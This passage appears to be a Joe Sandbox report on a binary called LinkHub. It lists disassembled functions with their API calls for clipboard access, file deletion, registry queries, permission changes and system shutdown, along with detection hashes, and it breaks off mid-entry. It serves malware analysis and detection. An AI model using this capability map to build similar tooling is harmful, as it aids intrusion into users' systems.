                                                                            • Instruction ID: 5931658dc910ddd12d13b737b12c516082f1c67e8682a0409bf39864aadba671
                                                                            • Opcode Fuzzy Hash: 2a7e7abef1c0147418b6c7f350fd7d66829ae3f4897d5fa5f92da442710e584c
                                                                            • Instruction Fuzzy Hash: 54D09EB1526314BF9F2C9B55ED4ACA77ADCEA06655380256EB402F2940F6E0FD40CAA4
                                                                            Function 00E1071A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateFileW.KERNELBASE(00000000,00000000,?,00E10A84,?,?,00000000,?,00E10A84,00000000,0000000C), ref: 00E10737
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateFile
                                                                            • String ID:
                                                                            • API String ID: 823142352-0
                                                                            • Opcode ID: d37b5ad3c41bfdad17e9132c146bb031d200dc06b9880255dacc9676a5307ea8
                                                                            • Instruction ID: d4113164777cc4af6beba8a986aad7bd27e3bcc5a86145991e4cc5e27495b1c1
                                                                            • Opcode Fuzzy Hash: d37b5ad3c41bfdad17e9132c146bb031d200dc06b9880255dacc9676a5307ea8
                                                                            • Instruction Fuzzy Hash: 83D06C3210010DBFDF028F85ED06EDA3BAAFB4C754F014000FE5866020C772E821AB90

                                                                            Non-executed Functions

                                                                            Function 00E314AE Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E31A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E31A60
                                                                              • Part of subcall function 00E31A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A6C
                                                                              • Part of subcall function 00E31A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A7B
                                                                              • Part of subcall function 00E31A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A82
                                                                              • Part of subcall function 00E31A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E31A99
                                                                            • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00E31518
                                                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00E3154C
                                                                            • GetLengthSid.ADVAPI32(?), ref: 00E31563
                                                                            • GetAce.ADVAPI32(?,00000000,?), ref: 00E3159D
                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00E315B9
                                                                            • GetLengthSid.ADVAPI32(?), ref: 00E315D0
                                                                            • GetProcessHeap.KERNEL32(00000008,00000008), ref: 00E315D8
                                                                            • HeapAlloc.KERNEL32(00000000), ref: 00E315DF
                                                                            • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00E31600
                                                                            • CopySid.ADVAPI32(00000000), ref: 00E31607
                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00E31636
                                                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00E31658
                                                                            • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00E3166A
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E31691
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E31698
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E316A1
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E316A8
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E316B1
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E316B8
                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 00E316C4
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E316CB
                                                                              • Part of subcall function 00E31ADF: GetProcessHeap.KERNEL32(00000008,00E314FD,?,00000000,?,00E314FD,?), ref: 00E31AED
                                                                              • Part of subcall function 00E31ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,00E314FD,?), ref: 00E31AF4
                                                                              • Part of subcall function 00E31ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00E314FD,?), ref: 00E31B03
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                            • String ID:
                                                                            • API String ID: 4175595110-0
                                                                            • Opcode ID: bb2e5d856994b76a2210ad06bf0991ed47fd895d6228cf141ae11938352a45ac
                                                                            • Instruction ID: c074ed7b24b32957a3b76189518efadc491968f0a127604ce0d67243cc5376f6
                                                                            • Opcode Fuzzy Hash: bb2e5d856994b76a2210ad06bf0991ed47fd895d6228cf141ae11938352a45ac
                                                                            • Instruction Fuzzy Hash: 12718AB2A00209AFDF109FA6EC49FAEBFB8BF04354F084159E915B6191D7719A05CBA0
                                                                            Function 00E4F55C Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • OpenClipboard.USER32(00E6DCD0), ref: 00E4F586
                                                                            • IsClipboardFormatAvailable.USER32(0000000D), ref: 00E4F594
                                                                            • GetClipboardData.USER32(0000000D), ref: 00E4F5A0
                                                                            • CloseClipboard.USER32 ref: 00E4F5AC
                                                                            • GlobalLock.KERNEL32(00000000), ref: 00E4F5E4
                                                                            • CloseClipboard.USER32 ref: 00E4F5EE
                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00E4F619
                                                                            • IsClipboardFormatAvailable.USER32(00000001), ref: 00E4F626
                                                                            • GetClipboardData.USER32(00000001), ref: 00E4F62E
                                                                            • GlobalLock.KERNEL32(00000000), ref: 00E4F63F
                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00E4F67F
                                                                            • IsClipboardFormatAvailable.USER32(0000000F), ref: 00E4F695
                                                                            • GetClipboardData.USER32(0000000F), ref: 00E4F6A1
                                                                            • GlobalLock.KERNEL32(00000000), ref: 00E4F6B2
                                                                            • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00E4F6D4
                                                                            • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00E4F6F1
                                                                            • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00E4F72F
                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00E4F750
                                                                            • CountClipboardFormats.USER32 ref: 00E4F771
                                                                            • CloseClipboard.USER32 ref: 00E4F7B6
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
                                                                            • String ID:
                                                                            • API String ID: 420908878-0
                                                                            • Opcode ID: 28203686da1da3c509be07f6a22ea2e14eaea02557610dc6c39eec0b635b5c59
                                                                            • Instruction ID: 9cb61e7f26d1dfcc9741267737593aa5f10c663401f0c30a9ae80f2621b35822
                                                                            • Opcode Fuzzy Hash: 28203686da1da3c509be07f6a22ea2e14eaea02557610dc6c39eec0b635b5c59
                                                                            • Instruction Fuzzy Hash: CE61E2312042019FD300EF20EC98F6AB7E4EF84B48F55546EF446A72A2DB75ED49CB61
                                                                            Function 00E473D4 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 00E47403
                                                                            • FindClose.KERNEL32(00000000), ref: 00E47457
                                                                            • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E47493
                                                                            • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E474BA
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 00E474F7
                                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 00E47524
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
                                                                            • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                                                            • API String ID: 3830820486-3289030164
                                                                            • Opcode ID: f98d85f97440f948b7c5bfef974f045f74abb6c75cc25536f88fb34e920a31cf
                                                                            • Instruction ID: de3d1da12a48884a9eb9f9c2ce22d11e3288ff34b3cb4c1cab5c1e3d36ef0312
                                                                            • Opcode Fuzzy Hash: f98d85f97440f948b7c5bfef974f045f74abb6c75cc25536f88fb34e920a31cf
                                                                            • Instruction Fuzzy Hash: 0ED15F72508344AEC714EB65C891EBBB7ECEF88704F44091EF585D6291EB74DA48CBB2
                                                                            Function 00E4A087 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00E4A0A8
                                                                            • GetFileAttributesW.KERNEL32(?), ref: 00E4A0E6
                                                                            • SetFileAttributesW.KERNEL32(?,?), ref: 00E4A100
                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 00E4A118
                                                                            • FindClose.KERNEL32(00000000), ref: 00E4A123
                                                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 00E4A13F
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E4A18F
                                                                            • SetCurrentDirectoryW.KERNEL32(00E97B94), ref: 00E4A1AD
                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00E4A1B7
                                                                            • FindClose.KERNEL32(00000000), ref: 00E4A1C4
                                                                            • FindClose.KERNEL32(00000000), ref: 00E4A1D4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                            • String ID: *.*
                                                                            • API String ID: 1409584000-438819550
                                                                            • Opcode ID: e9c3988f28db08c7af693e2b09ef59d7a63335206301a777dc80921aa6beb2cf
                                                                            • Instruction ID: 51d809e19f1f76b66e243e9446f7d9dcc32e797f677b4c31eb5e739712dce77f
                                                                            • Opcode Fuzzy Hash: e9c3988f28db08c7af693e2b09ef59d7a63335206301a777dc80921aa6beb2cf
                                                                            • Instruction Fuzzy Hash: 4231E371A4521D6FDB10AFA5FC49ADF73AC9F04374F045065E914F22A0EB70DE488A21
                                                                            Function 00E44763 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00E44785
                                                                            • _wcslen.LIBCMT ref: 00E447B2
                                                                            • CreateDirectoryW.KERNEL32(?,00000000), ref: 00E447E2
                                                                            • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00E44803
                                                                            • RemoveDirectoryW.KERNEL32(?), ref: 00E44813
                                                                            • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00E4489A
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E448A5
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E448B0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
                                                                            • String ID: :$\$\??\%s
                                                                            • API String ID: 1149970189-3457252023
                                                                            • Opcode ID: b77c7231dd2c298fcccb14fbfa8a48add23451b213347e22136a22d5c2db8574
                                                                            • Instruction ID: 729679580ad1e581cd11a6e95b5ba8d4faff568e4abb563b6c0af8284687b4f1
                                                                            • Opcode Fuzzy Hash: b77c7231dd2c298fcccb14fbfa8a48add23451b213347e22136a22d5c2db8574
                                                                            • Instruction Fuzzy Hash: 3431A5B1A04149ABDB219FA1EC49FEB37BDEF89744F5040B6F609E21A0E77096448B24
                                                                            Function 00E4A1E2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00E4A203
                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 00E4A25E
                                                                            • FindClose.KERNEL32(00000000), ref: 00E4A269
                                                                            • FindFirstFileW.KERNEL32(*.*,?), ref: 00E4A285
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E4A2D5
                                                                            • SetCurrentDirectoryW.KERNEL32(00E97B94), ref: 00E4A2F3
                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00E4A2FD
                                                                            • FindClose.KERNEL32(00000000), ref: 00E4A30A
                                                                            • FindClose.KERNEL32(00000000), ref: 00E4A31A
                                                                              • Part of subcall function 00E3E399: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00E3E3B4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                                            • String ID: *.*
                                                                            • API String ID: 2640511053-438819550
                                                                            • Opcode ID: d5adbe02c6ca2eaaf43b3312253290a9d7f3d0113dc3da1587d26ca667e8d63c
                                                                            • Instruction ID: 78443cd0b9e35d0c1bbd58d4e516caac98ce547e14b1f507c587c58a352f628d
                                                                            • Opcode Fuzzy Hash: d5adbe02c6ca2eaaf43b3312253290a9d7f3d0113dc3da1587d26ca667e8d63c
                                                                            • Instruction Fuzzy Hash: BC31243164420D6ECF10AFA1FC09ADE77AC9F45378F185061F910B31A0EBB1DE89DA25
                                                                            Function 00E5C8A4 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E5D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E5C10E,?,?), ref: 00E5D415
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D451
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4C8
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4FE
                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E5C99E
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00E5CA09
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00E5CA2D
                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00E5CA8C
                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00E5CB47
                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00E5CBB4
                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00E5CC49
                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00E5CC9A
                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00E5CD43
                                                                            • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00E5CDE2
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00E5CDEF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
                                                                            • String ID:
                                                                            • API String ID: 3102970594-0
                                                                            • Opcode ID: b32a3b3ea03d50a1156ac4bfa7da83e14bdc55bc4013346d06d4e2b1e75119f1
                                                                            • Instruction ID: 9acf93c06f1a2c89c3af7521de6890898608dec2963c7ed5d161f2351407f6d9
                                                                            • Opcode Fuzzy Hash: b32a3b3ea03d50a1156ac4bfa7da83e14bdc55bc4013346d06d4e2b1e75119f1
                                                                            • Instruction Fuzzy Hash: 00022C716043009FD714DF24C895E2ABBE5EF88318F19989DF84ADB2A2D731ED46CB61
                                                                            Function 00E3D921 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00DD55D1,?,?,00E14B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00DD5871
                                                                              • Part of subcall function 00E3EAB0: GetFileAttributesW.KERNEL32(?,00E3D840), ref: 00E3EAB1
                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 00E3D9CD
                                                                            • DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00E3DA88
                                                                            • MoveFileW.KERNEL32(?,?), ref: 00E3DA9B
                                                                            • DeleteFileW.KERNEL32(?,?,?,?), ref: 00E3DAB8
                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 00E3DAE2
                                                                              • Part of subcall function 00E3DB47: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00E3DAC7,?,?), ref: 00E3DB5D
                                                                            • FindClose.KERNEL32(00000000,?,?,?), ref: 00E3DAFE
                                                                            • FindClose.KERNEL32(00000000), ref: 00E3DB0F
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
                                                                            • String ID: \*.*
                                                                            • API String ID: 1946585618-1173974218
                                                                            • Opcode ID: 568b2cf173f6e57548520f3c2f6dd27f9f7f3ca3c5ba3000565548242b5c9874
                                                                            • Instruction ID: a9b36b392e1aca486ae2386a8314622eec256df67c68cc2c82858e9783fe1bd7
                                                                            • Opcode Fuzzy Hash: 568b2cf173f6e57548520f3c2f6dd27f9f7f3ca3c5ba3000565548242b5c9874
                                                                            • Instruction Fuzzy Hash: FC613E3190910DAECF05EBA0EE56AEDBBB9EF14314F6041A6E40677291DB719F09CB70
                                                                            Function 00E4F7C7 Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                            • String ID:
                                                                            • API String ID: 1737998785-0
                                                                            • Opcode ID: d3ccab7296b03c138c851bc3e89923b64e14c9af75572ce686189892229361a9
                                                                            • Instruction ID: 745412e8d589d3e1ca8ef3d5d6151d89f945a0f31429eee1ce377c6ea4e6a6de
                                                                            • Opcode Fuzzy Hash: d3ccab7296b03c138c851bc3e89923b64e14c9af75572ce686189892229361a9
                                                                            • Instruction Fuzzy Hash: 2F419F31A04601AFD714DF16E888B1A7BE4EF48758F14C4A9E419AF762CB75EC45CBA0
                                                                            Function 00E3F20D Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E32010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E3205A
                                                                              • Part of subcall function 00E32010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E32087
                                                                              • Part of subcall function 00E32010: GetLastError.KERNEL32 ref: 00E32097
                                                                            • ExitWindowsEx.USER32(?,00000000), ref: 00E3F249
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                            • String ID: $ $@$SeShutdownPrivilege
                                                                            • API String ID: 2234035333-3163812486
                                                                            • Opcode ID: 835ec025ad7c754c55957f4f6e6f2944b046b988d39920e49d4232d030a1436a
                                                                            • Instruction ID: 52f5cdfe5b529c450544c0eba9f106dd14377e3653c92023a13a1d57afb1d248
                                                                            • Opcode Fuzzy Hash: 835ec025ad7c754c55957f4f6e6f2944b046b988d39920e49d4232d030a1436a
                                                                            • Instruction Fuzzy Hash: 5701DB7AF14210AFEB1462B8AC8DFFB7AAC9B08394F551535FD02F21E2D5605D04D550
                                                                            Function 00DD22AD Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 308COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DefDlgProcW.USER32(?,?), ref: 00DD233E
                                                                            • GetSysColor.USER32(0000000F), ref: 00DD2421
                                                                            • SetBkColor.GDI32(?,00000000), ref: 00DD2434
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
